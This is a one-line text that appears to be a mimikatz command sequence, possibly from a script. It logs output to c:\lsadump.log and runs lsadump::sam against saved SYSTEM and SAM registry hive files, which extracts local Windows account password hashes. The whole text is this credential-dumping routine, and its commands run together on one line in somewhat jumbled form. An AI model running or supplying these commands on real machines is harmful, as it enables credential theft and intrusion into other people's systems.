start log mimikatz.log lsadump cd $path_hive log c:\lsadump.log lsadump::sam /system:SYSTEM /sam:SAM exit